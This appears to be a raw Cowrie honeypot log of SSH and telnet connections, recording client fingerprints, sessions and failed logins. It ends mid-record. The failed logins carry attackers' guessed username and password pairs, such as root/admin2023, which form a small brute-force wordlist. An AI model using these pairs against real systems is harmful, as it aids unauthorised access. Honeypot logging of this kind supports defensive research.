{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":53382,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e1fb32203df","protocol":"telnet","message":"New connection: 69.65.3.189:53382 (10.17.0.5:23) [session: 4e1fb32203df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:04.245416Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":55126,"dst_ip":"10.17.0.5","dst_port":23,"session":"65c7827ee183","protocol":"telnet","message":"New connection: 69.65.3.189:55126 (10.17.0.5:23) [session: 65c7827ee183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:10.745518Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":54942,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56094f609e1","protocol":"telnet","message":"New connection: 69.65.3.189:54942 (10.17.0.5:23) [session: e56094f609e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:10.749753Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":52864,"dst_ip":"159.203.135.109","dst_port":22,"session":"211c3768bf6a","protocol":"ssh","message":"New connection: 43.162.98.118:52864 (159.203.135.109:22) [session: 211c3768bf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:14.639133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:14.644365Z","src_ip":"43.162.98.118","session":"211c3768bf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:14.712671Z","src_ip":"43.162.98.118","session":"211c3768bf6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345","message":"login attempt [server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:15.019812Z","src_ip":"43.162.98.118","session":"211c3768bf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:16.090853Z","src_ip":"43.162.98.118","session":"211c3768bf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":56796,"dst_ip":"10.17.0.5","dst_port":22,"session":"039bced3fbfc","protocol":"ssh","message":"New connection: 210.183.21.53:56796 (10.17.0.5:22) [session: 039bced3fbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:26.158404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:26.163275Z","src_ip":"210.183.21.53","session":"039bced3fbfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:26.362465Z","src_ip":"210.183.21.53","session":"039bced3fbfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"abc123","message":"login attempt [username/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:27.191442Z","src_ip":"210.183.21.53","session":"039bced3fbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:28.393206Z","src_ip":"210.183.21.53","session":"039bced3fbfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.62463974952698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:43.374301Z","src_ip":"69.65.3.189","session":"e56094f609e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.22420692443848,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:46.469491Z","src_ip":"69.65.3.189","session":"4e1fb32203df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.318602323532104,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:16:47.063978Z","src_ip":"69.65.3.189","session":"65c7827ee183","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":51158,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9b2cdd1348d","protocol":"ssh","message":"New connection: 43.162.98.118:51158 (159.203.135.109:22) [session: f9b2cdd1348d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:05.437858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:05.442821Z","src_ip":"43.162.98.118","session":"f9b2cdd1348d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:05.511211Z","src_ip":"43.162.98.118","session":"f9b2cdd1348d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cvsuser","password":"cvsuser","message":"login attempt [cvsuser/cvsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:05.815097Z","src_ip":"43.162.98.118","session":"f9b2cdd1348d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:06.886337Z","src_ip":"43.162.98.118","session":"f9b2cdd1348d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":54162,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dfe9f1ef918","protocol":"telnet","message":"New connection: 103.115.172.252:54162 (10.17.0.5:23) [session: 7dfe9f1ef918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:17.464833Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":45538,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3e440ca2aa","protocol":"ssh","message":"New connection: 210.183.21.53:45538 (10.17.0.5:22) [session: 1d3e440ca2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:18.917079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:18.922283Z","src_ip":"210.183.21.53","session":"1d3e440ca2aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:19.130842Z","src_ip":"210.183.21.53","session":"1d3e440ca2aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"password","message":"login attempt [openvpn/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:19.977900Z","src_ip":"210.183.21.53","session":"1d3e440ca2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:21.187237Z","src_ip":"210.183.21.53","session":"1d3e440ca2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96789836883545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:53.432599Z","src_ip":"103.115.172.252","session":"7dfe9f1ef918","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":36216,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e525d41d32c","protocol":"ssh","message":"New connection: 187.16.96.250:36216 (159.203.135.109:22) [session: 4e525d41d32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:55.438277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:55.442995Z","src_ip":"187.16.96.250","session":"4e525d41d32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:55.560081Z","src_ip":"187.16.96.250","session":"4e525d41d32c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"info","password":"admin123","message":"login attempt [info/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:56.059537Z","src_ip":"187.16.96.250","session":"4e525d41d32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":57032,"dst_ip":"159.203.135.109","dst_port":22,"session":"5905f357eb41","protocol":"ssh","message":"New connection: 43.162.98.118:57032 (159.203.135.109:22) [session: 5905f357eb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:56.136886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:56.141736Z","src_ip":"43.162.98.118","session":"5905f357eb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:56.210817Z","src_ip":"43.162.98.118","session":"5905f357eb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2023","message":"login attempt [root/admin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:56.516107Z","src_ip":"43.162.98.118","session":"5905f357eb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:57.178890Z","src_ip":"187.16.96.250","session":"4e525d41d32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:17:57.586725Z","src_ip":"43.162.98.118","session":"5905f357eb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":34302,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5e39040208e","protocol":"ssh","message":"New connection: 210.183.21.53:34302 (10.17.0.5:22) [session: d5e39040208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:12.220571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:12.228998Z","src_ip":"210.183.21.53","session":"d5e39040208e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:12.431764Z","src_ip":"210.183.21.53","session":"d5e39040208e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwert123.","message":"login attempt [ubuntu/qwert123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:13.267668Z","src_ip":"210.183.21.53","session":"d5e39040208e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:14.473247Z","src_ip":"210.183.21.53","session":"d5e39040208e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":53070,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3bbe923374f","protocol":"telnet","message":"New connection: 103.115.172.252:53070 (10.17.0.5:23) [session: d3bbe923374f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:42.788115Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":38078,"dst_ip":"159.203.135.109","dst_port":22,"session":"78c5241628f9","protocol":"ssh","message":"New connection: 43.162.98.118:38078 (159.203.135.109:22) [session: 78c5241628f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:45.146122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:18:45.151545Z","src_ip":"43.162.98.118","session":"78c5241628f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-gr